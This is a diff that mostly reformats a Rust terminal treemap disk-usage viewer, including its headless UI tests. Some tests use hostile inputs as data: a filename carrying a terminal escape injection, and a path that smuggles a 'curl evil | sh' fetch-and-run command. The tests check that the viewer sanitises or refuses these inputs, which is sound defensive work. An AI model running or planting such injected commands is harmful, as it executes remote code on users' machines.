let total: i64 = cats.iter().map(|c| c.1).sum(); let total: i64 = cats.iter().map(|c| c.1).sum();
cats.sort_by(|a, b| b.1.cmp(&a.1)); cats.sort_by(|a, b| b.1.cmp(&a.1));
for &(c, v) in &cats { for &(c, v) in &cats {
@@ -70,7 +101,13 @@ impl Model {
let sw = if t.mono || t.ascii { " " } else { "██ " }; let sw = if t.mono || t.ascii { " " } else { "██ " };
cv.text(x, y, sw, 3, Style::new(col, t.panel_bg)); cv.text(x, y, sw, 3, Style::new(col, t.panel_bg));
cv.text(x + 3, y, c.name(), w - 3, plain); cv.text(x + 3, y, c.name(), w - 3, plain);
cv.text_right(x, y, w, &textutil::percent(v, total), Style::new(t.muted, t.panel_bg)); cv.text_right(
x,
y,
w,
&textutil::percent(v, total),
Style::new(t.muted, t.panel_bg),
);
y += 1; y += 1;
self.paint_bar(cv, x + 3, y, w - 3, v as f64 / cats[0].1 as f64, col, false); self.paint_bar(cv, x + 3, y, w - 3, v as f64 / cats[0].1 as f64, col, false);
y += 1; y += 1;
@@ -84,7 +121,10 @@ impl Model {
let mut desc = Vec::new(); let mut desc = Vec::new();
if is_group(self.sel) { if is_group(self.sel) {
if let Some(g) = self.group_info(self.sel) { if let Some(g) = self.group_info(self.sel) {
desc.push(format!("{} smaller items", textutil::count(g.ids().len() as i64))); desc.push(format!(
"{} smaller items",
textutil::count(g.ids().len() as i64)
));
desc.push(textutil::size(g.size)); desc.push(textutil::size(g.size));
} }
} else { } else {
@@ -92,7 +132,11 @@ impl Model {
if id != NO_NODE { if id != NO_NODE {
let n = tr.node(id); let n = tr.node(id);
desc.extend(wrap(&san(&n.name), w)); desc.extend(wrap(&san(&n.name), w));
desc.push(textutil::size(self.size_of(tr, id)) + " · " + &textutil::percent(self.size_of(tr, id), self.size_of(tr, self.zoom))); desc.push(
textutil::size(self.size_of(tr, id))
+ " · "
+ &textutil::percent(self.size_of(tr, id), self.size_of(tr, self.zoom)),
);
if n.is_dir() { if n.is_dir() {
desc.push(textutil::count(n.files as i64) + " files"); desc.push(textutil::count(n.files as i64) + " files");
} else { } else {
+71 -10
View File
@@ -16,7 +16,12 @@ pub(crate) struct Column {
} }
pub(crate) const fn col(title: &'static str, width: i32, right: bool, clip_left: bool) -> Column { pub(crate) const fn col(title: &'static str, width: i32, right: bool, clip_left: bool) -> Column {
Column { title, width, right, clip_left } Column {
title,
width,
right,
clip_left,
}
} }
/// One rendered row: cell strings plus optional per-cell styles. /// One rendered row: cell strings plus optional per-cell styles.
@@ -69,7 +74,15 @@ impl Table {
self.cursor.max(0) as usize self.cursor.max(0) as usize
} }
pub fn paint(&mut self, m: &mut Model, cv: &mut Canvas, r: Rect, cols: &[Column], rows: &[TableRow], title: &str) { pub fn paint(
&mut self,
m: &mut Model,
cv: &mut Canvas,
r: Rect,
cols: &[Column],
rows: &[TableRow],
title: &str,
) {
let t = m.theme.clone(); let t = m.theme.clone();
cv.fill(r, " ", t.base()); cv.fill(r, " ", t.base());
if r.h < 3 { if r.h < 3 {
@@ -77,7 +90,13 @@ impl Table {
} }
let mut y = r.y; let mut y = r.y;
if !title.is_empty() { if !title.is_empty() {
cv.text(r.x + 1, y, title, r.w - 2, Style::new(t.accent, t.bg).with(BOLD)); cv.text(
r.x + 1,
y,
title,
r.w - 2,
Style::new(t.accent, t.bg).with(BOLD),
);
y += 1; y += 1;
} }
// Resolve flexible width. // Resolve flexible width.
@@ -88,7 +107,11 @@ impl Table {
let hdr = Style::new(t.muted, t.bg).with(BOLD); let hdr = Style::new(t.muted, t.bg).with(BOLD);
for c in cols { for c in cols {
let w = width(c); let w = width(c);
let s = if c.right { pad_left(c.title, w) } else { c.title.to_string() }; let s = if c.right {
pad_left(c.title, w)
} else {
c.title.to_string()
};
cv.text(x, y, &s, w, hdr); cv.text(x, y, &s, w, hdr);
x += w + 1; x += w + 1;
} }
@@ -114,7 +137,16 @@ impl Table {
let mut base = t.base(); let mut base = t.base();
if sel { if sel {
base = Style::new(t.text_on(t.sel), t.sel).with(BOLD | m.mono_rev()); base = Style::new(t.text_on(t.sel), t.sel).with(BOLD | m.mono_rev());
cv.fill(Rect { x: r.x, y, w: r.w, h: 1 }, " ", base); cv.fill(
Rect {
x: r.x,
y,
w: r.w,
h: 1,
},
" ",
base,
);
} }
let mut x = r.x + 1; let mut x = r.x + 1;
for (ci, c) in cols.iter().enumerate() { for (ci, c) in cols.iter().enumerate() {
@@ -135,7 +167,15 @@ impl Table {
} }
x += w + 1; x += w + 1;
} }
m.hits.push(Hit { r: Rect { x: r.x, y, w: r.w, h: 1 }, act: HitAct::Row(i as usize) }); m.hits.push(Hit {
r: Rect {
x: r.x,
y,
w: r.w,
h: 1,
},
act: HitAct::Row(i as usize),
});
y += 1; y += 1;
i += 1; i += 1;
} }
@@ -143,7 +183,11 @@ impl Table {
cv.text_centered(r.x, r.y + r.h / 2, r.w, "Nothing to show", t.muted()); cv.text_centered(r.x, r.y + r.h / 2, r.w, "Nothing to show", t.muted());
} }
if n > self.height && self.height > 0 { if n > self.height && self.height > 0 {
let pos = format!("{}/{}", textutil::count(self.cursor as i64 + 1), textutil::count(n as i64)); let pos = format!(
"{}/{}",
textutil::count(self.cursor as i64 + 1),
textutil::count(n as i64)
);
cv.text_right(r.x, r.y, r.w - 1, &pos, t.muted()); cv.text_right(r.x, r.y, r.w - 1, &pos, t.muted());
} }
} }
@@ -152,10 +196,23 @@ impl Table {
impl Model { impl Model {
/// Draws a proportional bar with eighth-block precision. /// Draws a proportional bar with eighth-block precision.
#[allow(clippy::too_many_arguments)] #[allow(clippy::too_many_arguments)]
pub fn paint_bar(&self, cv: &mut Canvas, x: i32, y: i32, w: i32, frac: f64, col: Color, sel: bool) { pub fn paint_bar(
&self,
cv: &mut Canvas,
x: i32,
y: i32,
w: i32,
frac: f64,
col: Color,
sel: bool,
) {
let t = &self.theme; let t = &self.theme;
let col = if col.is_default() { t.accent } else { col }; let col = if col.is_default() { t.accent } else { col };
let bg = if sel { t.sel.mix(rgb(0, 0, 0), 0.25) } else { t.bg.mix(t.fg, 0.08) }; let bg = if sel {
t.sel.mix(rgb(0, 0, 0), 0.25)
} else {
t.bg.mix(t.fg, 0.08)
};
let mut eighths = (frac * (w * 8) as f64 + 0.5) as i64; let mut eighths = (frac * (w * 8) as f64 + 0.5) as i64;
const PARTS: [&str; 8] = ["", "▏", "▎", "▍", "▌", "▋", "▊", "▉"]; const PARTS: [&str; 8] = ["", "▏", "▎", "▍", "▌", "▋", "▊", "▉"];
for i in 0..w { for i in 0..w {
@@ -170,7 +227,11 @@ impl Model {
ch = if eighths >= 4 { "#" } else { " " }; ch = if eighths >= 4 { "#" } else { " " };
} }
eighths -= 8; eighths -= 8;
let st = if t.mono { Style::default() } else { Style::new(col, bg) }; let st = if t.mono {
Style::default()
} else {
Style::new(col, bg)
};
cv.text(x + i, y, ch, 1, st); cv.text(x + i, y, ch, 1, st);
} }
} }
+209 -41
View File
@@ -1,11 +1,11 @@
//! Headless model tests (ports of tui_test.go, nest_test.go, live_test.go). //! Headless model tests (ports of tui_test.go, nest_test.go, live_test.go).
use super::bench::opts_for; use super::bench::opts_for;
use super::color256::{quant16, quant256};
use super::canvas::rgb; use super::canvas::rgb;
use super::color256::{quant16, quant256};
use super::mapview::TOP_MIN_AREA; use super::mapview::TOP_MIN_AREA;
use super::model::*;
use super::modals::new_info_modal; use super::modals::new_info_modal;
use super::model::*;
use crate::cancel::Cancel; use crate::cancel::Cancel;
use crate::inventory::{category_for, ext, Kind, NodeId, Tree, FLAG_SCANNED}; use crate::inventory::{category_for, ext, Kind, NodeId, Tree, FLAG_SCANNED};
use crate::scan; use crate::scan;
@@ -39,7 +39,12 @@ fn test_tree() -> Tree {
}; };
let backups = add_dir(&mut t, 0, b"backups"); let backups = add_dir(&mut t, 0, b"backups");
for i in 0..40i64 { for i in 0..40i64 {
file(&mut t, backups, format!("dump-{i:02}.tar.gz").as_bytes(), (1 + i) << 30); file(
&mut t,
backups,
format!("dump-{i:02}.tar.gz").as_bytes(),
(1 + i) << 30,
);
} }
let vms = add_dir(&mut t, 0, b"vms"); let vms = add_dir(&mut t, 0, b"vms");
file(&mut t, vms, b"ubuntu.qcow2", 86 << 30); file(&mut t, vms, b"ubuntu.qcow2", 86 << 30);
@@ -47,7 +52,12 @@ fn test_tree() -> Tree {
let media = add_dir(&mut t, 0, b"media"); let media = add_dir(&mut t, 0, b"media");
let photos = add_dir(&mut t, media, "photos 日本語".as_bytes()); let photos = add_dir(&mut t, media, "photos 日本語".as_bytes());
for i in 0..300i64 { for i in 0..300i64 {
file(&mut t, photos, format!("img{i:03}.jpg").as_bytes(), (i + 1) << 20); file(
&mut t,
photos,
format!("img{i:03}.jpg").as_bytes(),
(i + 1) << 20,
);
} }
file(&mut t, media, HOSTILE, 9 << 30); file(&mut t, media, HOSTILE, 9 << 30);
file(&mut t, media, "👨‍👩‍👧 family.mp4".as_bytes(), 12 << 30); file(&mut t, media, "👨‍👩‍👧 family.mp4".as_bytes(), 12 << 30);
@@ -114,7 +124,12 @@ fn check_frame(m: &mut Model, w: i32, h: i32) -> String {
"terminal control sequence from a filename leaked into the frame" "terminal control sequence from a filename leaked into the frame"
); );
let lines: Vec<&str> = content.split('\n').collect(); let lines: Vec<&str> = content.split('\n').collect();
assert_eq!(lines.len() as i32, h, "{w}x{h}: frame has {} lines", lines.len()); assert_eq!(
lines.len() as i32,
h,
"{w}x{h}: frame has {} lines",
lines.len()
);
for (i, l) in lines.iter().enumerate() { for (i, l) in lines.iter().enumerate() {
let got = textutil::width(&strip(l)) as i32; let got = textutil::width(&strip(l)) as i32;
assert_eq!(got, w, "{w}x{h}: line {i} has width {got}: {:?}", strip(l)); assert_eq!(got, w, "{w}x{h}: line {i} has width {got}: {:?}", strip(l));
@@ -135,7 +150,10 @@ fn find(m: &Model, name: &[u8]) -> NodeId {
} }
fn find_block(bs: &[Block], id: i64) -> Block { fn find_block(bs: &[Block], id: i64) -> Block {
bs.iter().copied().find(|b| b.id == id).unwrap_or(Block { id: 0, rect: Default::default() }) bs.iter().copied().find(|b| b.id == id).unwrap_or(Block {
id: 0,
rect: Default::default(),
})
} }
#[test] #[test]
@@ -151,19 +169,39 @@ fn resize_transitions_preserve_state() {
check_frame(&mut m, 120, 40); check_frame(&mut m, 120, 40);
send(&mut m, vec![key("right")]); send(&mut m, vec![key("right")]);
let sel = m.sel; let sel = m.sel;
for (w, h) in [(80, 24), (120, 40), (300, 80), (70, 20), (180, 50), (40, 10), (39, 9), (200, 60)] { for (w, h) in [
(80, 24),
(120, 40),
(300, 80),
(70, 20),
(180, 50),
(40, 10),
(39, 9),
(200, 60),
] {
send(&mut m, vec![size(w, h)]); send(&mut m, vec![size(w, h)]);
check_frame(&mut m, w, h); check_frame(&mut m, w, h);
assert_eq!(m.zoom, media, "{w}x{h}: zoom lost"); assert_eq!(m.zoom, media, "{w}x{h}: zoom lost");
assert!(m.sel == sel || is_group(m.sel), "{w}x{h}: selection changed from {sel} to {}", m.sel); assert!(
m.sel == sel || is_group(m.sel),
"{w}x{h}: selection changed from {sel} to {}",
m.sel
);
} }
// The layout must be recomputed for the new geometry, not stretched. // The layout must be recomputed for the new geometry, not stretched.
let l = m.tm.clone().unwrap(); let l = m.tm.clone().unwrap();
assert!(l.rect.w <= 200 && l.rect.h <= 60, "layout not recomputed for final size: {:?}", l.rect); assert!(
l.rect.w <= 200 && l.rect.h <= 60,
"layout not recomputed for final size: {:?}",
l.rect
);
let r = l.rect; let r = l.rect;
for b in &l.blocks { for b in &l.blocks {
let br = b.rect; let br = b.rect;
assert!(br.x >= r.x && br.y >= r.y && br.x + br.w <= r.x + r.w && br.y + br.h <= r.y + r.h, "block {b:?} outside treemap {r:?}"); assert!(
br.x >= r.x && br.y >= r.y && br.x + br.w <= r.x + r.w && br.y + br.h <= r.y + r.h,
"block {b:?} outside treemap {r:?}"
);
} }
} }
@@ -172,7 +210,9 @@ fn resize_storm() {
let mut m = new_test_model(); let mut m = new_test_model();
let mut rnd = 1u64; let mut rnd = 1u64;
let mut intn = |n: u64| { let mut intn = |n: u64| {
rnd = rnd.wrapping_mul(6364136223846793005).wrapping_add(1442695040888963407); rnd = rnd
.wrapping_mul(6364136223846793005)
.wrapping_add(1442695040888963407);
(rnd >> 33) % n (rnd >> 33) % n
}; };
send(&mut m, vec![size(120, 40)]); send(&mut m, vec![size(120, 40)]);
@@ -199,9 +239,16 @@ fn modal_survives_resize() {
for (w, h) in [(120, 40), (60, 14), (41, 10), (300, 80), (45, 12)] { for (w, h) in [(120, 40), (60, 14), (41, 10), (300, 80), (45, 12)] {
send(&mut m, vec![size(w, h)]); send(&mut m, vec![size(w, h)]);
let out = check_frame(&mut m, w, h); let out = check_frame(&mut m, w, h);
assert!(out.contains("ITEM INFORMATION"), "{w}x{h}: modal title missing:\n{out}"); assert!(
out.contains("ITEM INFORMATION"),
"{w}x{h}: modal title missing:\n{out}"
);
let f = &m.modals[0]; let f = &m.modals[0];
assert!(f.view_h >= 1 && f.view_h <= h, "{w}x{h}: modal viewport {}", f.view_h); assert!(
f.view_h >= 1 && f.view_h <= h,
"{w}x{h}: modal viewport {}",
f.view_h
);
} }
// Scrolling in a tiny terminal must stay in range. // Scrolling in a tiny terminal must stay in range.
send(&mut m, vec![size(45, 12)]); send(&mut m, vec![size(45, 12)]);
@@ -210,7 +257,12 @@ fn modal_survives_resize() {
} }
check_frame(&mut m, 45, 12); check_frame(&mut m, 45, 12);
let f = &m.modals[0]; let f = &m.modals[0];
assert!(f.scroll >= 0 && f.scroll <= f.content_n, "scroll out of range: {} of {}", f.scroll, f.content_n); assert!(
f.scroll >= 0 && f.scroll <= f.content_n,
"scroll out of range: {} of {}",
f.scroll,
f.content_n
);
send(&mut m, vec![key("esc")]); send(&mut m, vec![key("esc")]);
assert!(m.modals.is_empty(), "Esc should close the modal"); assert!(m.modals.is_empty(), "Esc should close the modal");
} }
@@ -228,14 +280,20 @@ fn spatial_navigation_uses_geometry() {
if m.sel == before { if m.sel == before {
continue; // edge of the map continue; // edge of the map
} }
let (a, b) = (find_block(&blocks, before).rect, find_block(&blocks, m.sel).rect); let (a, b) = (
find_block(&blocks, before).rect,
find_block(&blocks, m.sel).rect,
);
let ok = match dir { let ok = match dir {
"right" => b.x >= a.x + a.w, "right" => b.x >= a.x + a.w,
"left" => b.x + b.w <= a.x, "left" => b.x + b.w <= a.x,
"down" => b.y >= a.y + a.h, "down" => b.y >= a.y + a.h,
_ => b.y + b.h <= a.y, _ => b.y + b.h <= a.y,
}; };
assert!(ok, "{dir} moved to a block that is not in that direction: {a:?} -> {b:?}"); assert!(
ok,
"{dir} moved to a block that is not in that direction: {a:?} -> {b:?}"
);
} }
} }
@@ -251,13 +309,21 @@ fn zoom_breadcrumbs_and_home() {
send(&mut m, vec![key("space")]); send(&mut m, vec![key("space")]);
assert_eq!(m.zoom, photos, "did not zoom into photos"); assert_eq!(m.zoom, photos, "did not zoom into photos");
let out = check_frame(&mut m, 100, 30); let out = check_frame(&mut m, 100, 30);
assert!(out.contains("media › photos 日本語"), "breadcrumbs missing:\n{out}"); assert!(
out.contains("media › photos 日本語"),
"breadcrumbs missing:\n{out}"
);
// Narrow terminal: breadcrumbs truncate from the left, keeping the tail. // Narrow terminal: breadcrumbs truncate from the left, keeping the tail.
send(&mut m, vec![size(42, 12)]); send(&mut m, vec![size(42, 12)]);
let out = check_frame(&mut m, 42, 12); let out = check_frame(&mut m, 42, 12);
assert!(out.contains("photos"), "breadcrumb tail missing:\n{out}"); assert!(out.contains("photos"), "breadcrumb tail missing:\n{out}");
send(&mut m, vec![key("backspace")]); send(&mut m, vec![key("backspace")]);
assert!(m.zoom == media && m.sel == photos as i64, "backspace: zoom {} sel {}", m.zoom, m.sel); assert!(
m.zoom == media && m.sel == photos as i64,
"backspace: zoom {} sel {}",
m.zoom,
m.sel
);
send(&mut m, vec![key("home")]); send(&mut m, vec![key("home")]);
assert_eq!(m.zoom, 0, "home did not return to root"); assert_eq!(m.zoom, 0, "home did not return to root");
} }
@@ -267,20 +333,40 @@ fn filter_transforms_map() {
let mut m = new_test_model(); let mut m = new_test_model();
send(&mut m, vec![size(120, 40), key("/")]); send(&mut m, vec![size(120, 40), key("/")]);
for c in "ext = gz".chars() { for c in "ext = gz".chars() {
send(&mut m, vec![Msg::Key(Key { name: c.to_string(), text: c.to_string(), ctrl_alt: false })]); send(
&mut m,
vec![Msg::Key(Key {
name: c.to_string(),
text: c.to_string(),
ctrl_alt: false,
})],
);
} }
assert!(m.search.err.is_empty() && m.search.query.is_some(), "query not parsed: {:?}", m.search.err); assert!(
m.search.err.is_empty() && m.search.query.is_some(),
"query not parsed: {:?}",
m.search.err
);
let msgs = m.apply_filter().run_sync(); let msgs = m.apply_filter().run_sync();
send(&mut m, msgs); send(&mut m, msgs);
send(&mut m, vec![key("enter")]); send(&mut m, vec![key("enter")]);
assert!(m.search.result.is_some(), "no filter result"); assert!(m.search.result.is_some(), "no filter result");
let out = check_frame(&mut m, 120, 40); let out = check_frame(&mut m, 120, 40);
assert!(!out.contains("vms/") && out.contains("backups/"), "filter not applied to the map:\n{out}"); assert!(
!out.contains("vms/") && out.contains("backups/"),
"filter not applied to the map:\n{out}"
);
assert!(out.contains("FILTER"), "filter indicator missing"); assert!(out.contains("FILTER"), "filter indicator missing");
send(&mut m, vec![key("esc")]); send(&mut m, vec![key("esc")]);
assert!(m.search.query.is_none() && m.search.result.is_none(), "Esc should clear the filter"); assert!(
m.search.query.is_none() && m.search.result.is_none(),
"Esc should clear the filter"
);
let out = check_frame(&mut m, 120, 40); let out = check_frame(&mut m, 120, 40);
assert!(out.contains("vms/"), "map not restored after clearing filter:\n{out}"); assert!(
out.contains("vms/"),
"map not restored after clearing filter:\n{out}"
);
} }
#[test] #[test]
@@ -292,7 +378,10 @@ fn hostile_name_sanitised_in_modal() {
let md = new_info_modal(&m, &t.read().unwrap(), id); let md = new_info_modal(&m, &t.read().unwrap(), id);
m.open_modal(md); m.open_modal(md);
let out = check_frame(&mut m, 120, 40); let out = check_frame(&mut m, 120, 40);
assert!(out.contains(r"\x1b]0;pwned\x07"), "escaped name not shown:\n{out}"); assert!(
out.contains(r"\x1b]0;pwned\x07"),
"escaped name not shown:\n{out}"
);
} }
#[test] #[test]
@@ -321,15 +410,26 @@ fn level_of_detail_groups_tiny_files() {
m.zoom_to(&t.read().unwrap(), tiny); m.zoom_to(&t.read().unwrap(), tiny);
m.view(); m.view();
let l = m.tm.clone().unwrap(); let l = m.tm.clone().unwrap();
assert!(l.blocks.len() as i32 <= 100 * 30 / TOP_MIN_AREA + 1, "{} blocks for 2000 equal files: LOD not applied", l.blocks.len()); assert!(
assert!(l.groups.contains_key(&group_id(tiny)), "expected a group block for small items"); l.blocks.len() as i32 <= 100 * 30 / TOP_MIN_AREA + 1,
"{} blocks for 2000 equal files: LOD not applied",
l.blocks.len()
);
assert!(
l.groups.contains_key(&group_id(tiny)),
"expected a group block for small items"
);
} }
#[test] #[test]
fn ctrl_c_quits_when_idle() { fn ctrl_c_quits_when_idle() {
let mut m = new_test_model(); let mut m = new_test_model();
send(&mut m, vec![size(80, 24)]); send(&mut m, vec![size(80, 24)]);
m.update(Msg::Key(Key { name: "ctrl+c".into(), text: String::new(), ctrl_alt: true })); m.update(Msg::Key(Key {
name: "ctrl+c".into(),
text: String::new(),
ctrl_alt: true,
}));
assert!(m.quit, "Ctrl+C should quit when no scan runs"); assert!(m.quit, "Ctrl+C should quit when no scan runs");
} }
@@ -341,23 +441,45 @@ fn mouse() {
// Click the centre of a block other than the selected one. // Click the centre of a block other than the selected one.
let target = { let target = {
let t = m.tree.read().unwrap(); let t = m.tree.read().unwrap();
m.tm.as_ref().unwrap().blocks.iter().copied() m.tm.as_ref()
.unwrap()
.blocks
.iter()
.copied()
.find(|b| b.id != m.sel && b.id >= 0 && t.node(b.id as NodeId).is_dir() && b.rect.w > 4) .find(|b| b.id != m.sel && b.id >= 0 && t.node(b.id as NodeId).is_dir() && b.rect.w > 4)
.unwrap() .unwrap()
}; };
let click = || Msg::Click { x: target.rect.x + target.rect.w / 2, y: target.rect.y + target.rect.h / 2, button: Button::Left }; let click = || Msg::Click {
x: target.rect.x + target.rect.w / 2,
y: target.rect.y + target.rect.h / 2,
button: Button::Left,
};
send(&mut m, vec![click()]); send(&mut m, vec![click()]);
assert_eq!(m.sel, target.id, "click selected the wrong block"); assert_eq!(m.sel, target.id, "click selected the wrong block");
m.view(); m.view();
send(&mut m, vec![click()]); // second click within the double-click window send(&mut m, vec![click()]); // second click within the double-click window
assert_eq!(m.zoom as i64, target.id, "double click should zoom"); assert_eq!(m.zoom as i64, target.id, "double click should zoom");
m.view(); m.view();
send(&mut m, vec![Msg::Wheel { x: 50, y: 20, up: false }]); send(
&mut m,
vec![Msg::Wheel {
x: 50,
y: 20,
up: false,
}],
);
assert_eq!(m.zoom, 0, "wheel down should zoom out"); assert_eq!(m.zoom, 0, "wheel down should zoom out");
// A modal swallows clicks; clicking outside closes it. // A modal swallows clicks; clicking outside closes it.
send(&mut m, vec![key("?")]); send(&mut m, vec![key("?")]);
m.view(); m.view();
send(&mut m, vec![Msg::Click { x: 0, y: 39, button: Button::Left }]); send(
&mut m,
vec![Msg::Click {
x: 0,
y: 39,
button: Button::Left,
}],
);
assert!(m.modals.is_empty(), "click outside modal should close it"); assert!(m.modals.is_empty(), "click outside modal should close it");
} }
@@ -370,12 +492,20 @@ fn quantizers() {
assert!(n >= 16, "256 quantizer used palette-dependent index {n}"); assert!(n >= 16, "256 quantizer used palette-dependent index {n}");
// A dark, slightly tinted shade must land on the grey ramp or a dark // A dark, slightly tinted shade must land on the grey ramp or a dark
// cube entry, not a saturated one like olive (58) or navy (17). // cube entry, not a saturated one like olive (58) or navy (17).
assert!(![58, 17, 22].contains(&n), "dark tint mapped to saturated {n}"); assert!(
![58, 17, 22].contains(&n),
"dark tint mapped to saturated {n}"
);
} }
#[test] #[test]
fn colour_depths_render_same_geometry() { fn colour_depths_render_same_geometry() {
for p in [Profile::TrueColor, Profile::Ansi256, Profile::Ansi, Profile::Ascii] { for p in [
Profile::TrueColor,
Profile::Ansi256,
Profile::Ansi,
Profile::Ascii,
] {
let mut m = new_test_model(); let mut m = new_test_model();
m.profile = p; m.profile = p;
send(&mut m, vec![size(100, 30)]); send(&mut m, vec![size(100, 30)]);
@@ -388,11 +518,23 @@ fn colour_depths_render_same_geometry() {
fn copy_refuses_control_characters() { fn copy_refuses_control_characters() {
let mut m = new_test_model(); let mut m = new_test_model();
m.copy_path(b"/srv/x\ncurl evil | sh\n"); m.copy_path(b"/srv/x\ncurl evil | sh\n");
assert!(m.toast.starts_with("Not copied"), "hostile path copied: {:?}", m.toast); assert!(
m.toast.starts_with("Not copied"),
"hostile path copied: {:?}",
m.toast
);
m.copy_path(&[b"/srv/media/".as_slice(), HOSTILE].concat()); m.copy_path(&[b"/srv/media/".as_slice(), HOSTILE].concat());
assert!(m.toast.starts_with("Not copied"), "escape sequence copied: {:?}", m.toast); assert!(
m.toast.starts_with("Not copied"),
"escape sequence copied: {:?}",
m.toast
);
m.copy_path("/srv/photos 日本語/img001.jpg".as_bytes()); m.copy_path("/srv/photos 日本語/img001.jpg".as_bytes());
assert!(m.toast.starts_with("Copied"), "plain path refused: {:?}", m.toast); assert!(
m.toast.starts_with("Copied"),
"plain path refused: {:?}",
m.toast
);
} }
// ---- nest_test.go ----------------------------------------------------------- // ---- nest_test.go -----------------------------------------------------------
@@ -431,9 +573,18 @@ fn nesting_reaches_deep_media() {
let mut m = model_for(root_tree()); let mut m = model_for(root_tree());
send(&mut m, vec![size(160, 45)]); send(&mut m, vec![size(160, 45)]);
let out = strip(m.view()); let out = strip(m.view());
assert!(out.contains("mnt/raid/media/") && out.contains("S01/"), "chain or seasons missing:\n{out}"); assert!(
out.contains("mnt/raid/media/") && out.contains("S01/"),
"chain or seasons missing:\n{out}"
);
let t = m.tree.read().unwrap(); let t = m.tree.read().unwrap();
let files = m.tm.as_ref().unwrap().nested.iter().filter(|nb| nb.id >= 0 && !t.node(nb.id as NodeId).is_dir()).count(); let files =
m.tm.as_ref()
.unwrap()
.nested
.iter()
.filter(|nb| nb.id >= 0 && !t.node(nb.id as NodeId).is_dir())
.count();
assert!(files >= 50, "only {files} episode blocks drawn"); assert!(files >= 50, "only {files} episode blocks drawn");
} }
@@ -453,7 +604,12 @@ fn reveal_headless_zooms_map() {
m.snapshot = false; // reveal is refused for snapshots m.snapshot = false; // reveal is refused for snapshots
(m.sel, m.user_sel) = (mnt as i64, true); (m.sel, m.user_sel) = (mnt as i64, true);
send(&mut m, vec![key("o")]); send(&mut m, vec![key("o")]);
assert_eq!(m.zoom, mnt, "zoom = {}, want mnt", m.tree.read().unwrap().path_string(m.zoom)); assert_eq!(
m.zoom,
mnt,
"zoom = {}, want mnt",
m.tree.read().unwrap().path_string(m.zoom)
);
} }
// ---- live_test.go ----------------------------------------------------------- // ---- live_test.go -----------------------------------------------------------
@@ -467,12 +623,24 @@ fn live_scan_rendering() {
let d = root.0.join(format!("d{i:02}")).join("sub"); let d = root.0.join(format!("d{i:02}")).join("sub");
std::fs::create_dir_all(&d).unwrap(); std::fs::create_dir_all(&d).unwrap();
for j in 0..40 { for j in 0..40 {
std::fs::write(d.join(format!("f{j}.log")), vec![0u8; (i + 1) * (j + 1) * 100]).unwrap(); std::fs::write(
d.join(format!("f{j}.log")),
vec![0u8; (i + 1) * (j + 1) * 100],
)
.unwrap();
} }
} }
let path = root.0.as_os_str().as_bytes().to_vec(); let path = root.0.as_os_str().as_bytes().to_vec();
let start: StartFn = Arc::new(move |c: Cancel| { let start: StartFn = Arc::new(move |c: Cancel| {
let s = scan::start(&path, scan::Options { workers: 4, chunk_size: 3, ..Default::default() }, c)?; let s = scan::start(
&path,
scan::Options {
workers: 4,
chunk_size: 3,
..Default::default()
},
c,
)?;
let t = s.tree.clone(); let t = s.tree.clone();
Ok((Some(s), t)) Ok((Some(s), t))
}); });
+5 -1
View File
@@ -119,7 +119,11 @@ fn high_contrast_theme() -> Theme {
} }
fn mono_theme() -> Theme { fn mono_theme() -> Theme {
Theme { name: "mono", mono: true, ..Theme::default() } Theme {
name: "mono",
mono: true,
..Theme::default()
}
} }
/// Returns a built-in theme with user overrides applied. /// Returns a built-in theme with user overrides applied.
+183 -38
View File
@@ -4,11 +4,14 @@ use super::actions::DupView;
use super::canvas::{Canvas, Color, Style, BOLD}; use super::canvas::{Canvas, Color, Style, BOLD};
use super::infoview::InfoView; use super::infoview::InfoView;
use super::mapview::{map_key, map_paint, map_wheel}; use super::mapview::{map_key, map_paint, map_wheel};
use super::model::{Cmd, Model};
use super::modals::new_info_modal; use super::modals::new_info_modal;
use super::model::{Cmd, Model};
use super::table::{col, Table, TableRow}; use super::table::{col, Table, TableRow};
use super::{fmt_date, san}; use super::{fmt_date, san};
use crate::inventory::{ExtStat, Kind, NodeId, SizeMode, TopK, Tree, FLAG_DELETED, FLAG_HARDLINKED, FLAG_HARDLINK_DUP, FLAG_SPARSE, NO_NODE}; use crate::inventory::{
ExtStat, Kind, NodeId, SizeMode, TopK, Tree, FLAG_DELETED, FLAG_HARDLINKED, FLAG_HARDLINK_DUP,
FLAG_SPARSE, NO_NODE,
};
use crate::snapshot::{Change, Status}; use crate::snapshot::{Change, Status};
use crate::textutil; use crate::textutil;
use crate::treemap::Rect; use crate::treemap::Rect;
@@ -159,16 +162,31 @@ impl ListView {
name.push('/'); name.push('/');
files = textutil::count(n.files as i64); files = textutil::count(n.files as i64);
} }
let modified = if n.mtime > 0 { fmt_date(n.mtime) } else { String::new() }; let modified = if n.mtime > 0 {
fmt_date(n.mtime)
} else {
String::new()
};
let c = m.color_of(tr, id as i64); let c = m.color_of(tr, id as i64);
let mut name_st = Style::new(c.mix(t.fg, 0.45), t.bg); let mut name_st = Style::new(c.mix(t.fg, 0.45), t.bg);
if n.is_dir() { if n.is_dir() {
name_st.attr = BOLD; name_st.attr = BOLD;
} }
let frac = if k.sizes[0] > 0 { k.sizes[i] as f64 / k.sizes[0] as f64 } else { 0.0 }; let frac = if k.sizes[0] > 0 {
k.sizes[i] as f64 / k.sizes[0] as f64
} else {
0.0
};
let muted = Some(Style::new(t.muted, t.bg)); let muted = Some(Style::new(t.muted, t.bg));
let mut row = TableRow { let mut row = TableRow {
cells: vec![textutil::size(k.sizes[i]), textutil::percent(k.sizes[i], total), String::new(), files, modified, name], cells: vec![
textutil::size(k.sizes[i]),
textutil::percent(k.sizes[i], total),
String::new(),
files,
modified,
name,
],
styles: vec![None, muted, None, muted, muted, Some(name_st)], styles: vec![None, muted, None, muted, muted, Some(name_st)],
bar: frac, bar: frac,
bar_col: c, bar_col: c,
@@ -178,15 +196,29 @@ impl ListView {
} }
rows.push(row); rows.push(row);
} }
let mut cols = vec![col("SIZE", 10, true, false), col("%", 5, true, false), col("", 12, false, false), let mut cols = vec![
col("FILES", 10, true, false), col("MODIFIED", 10, false, false), col("NAME", 0, false, false)]; col("SIZE", 10, true, false),
col("%", 5, true, false),
col("", 12, false, false),
col("FILES", 10, true, false),
col("MODIFIED", 10, false, false),
col("NAME", 0, false, false),
];
if m.opts.diff.is_some() { if m.opts.diff.is_some() {
cols[4] = col("CHANGE", 12, true, false); cols[4] = col("CHANGE", 12, true, false);
} }
if r.w < 70 { if r.w < 70 {
cols = vec![col("SIZE", 10, true, false), col("%", 5, true, false), col("NAME", 0, false, false)]; cols = vec![
col("SIZE", 10, true, false),
col("%", 5, true, false),
col("NAME", 0, false, false),
];
for row in rows.iter_mut() { for row in rows.iter_mut() {
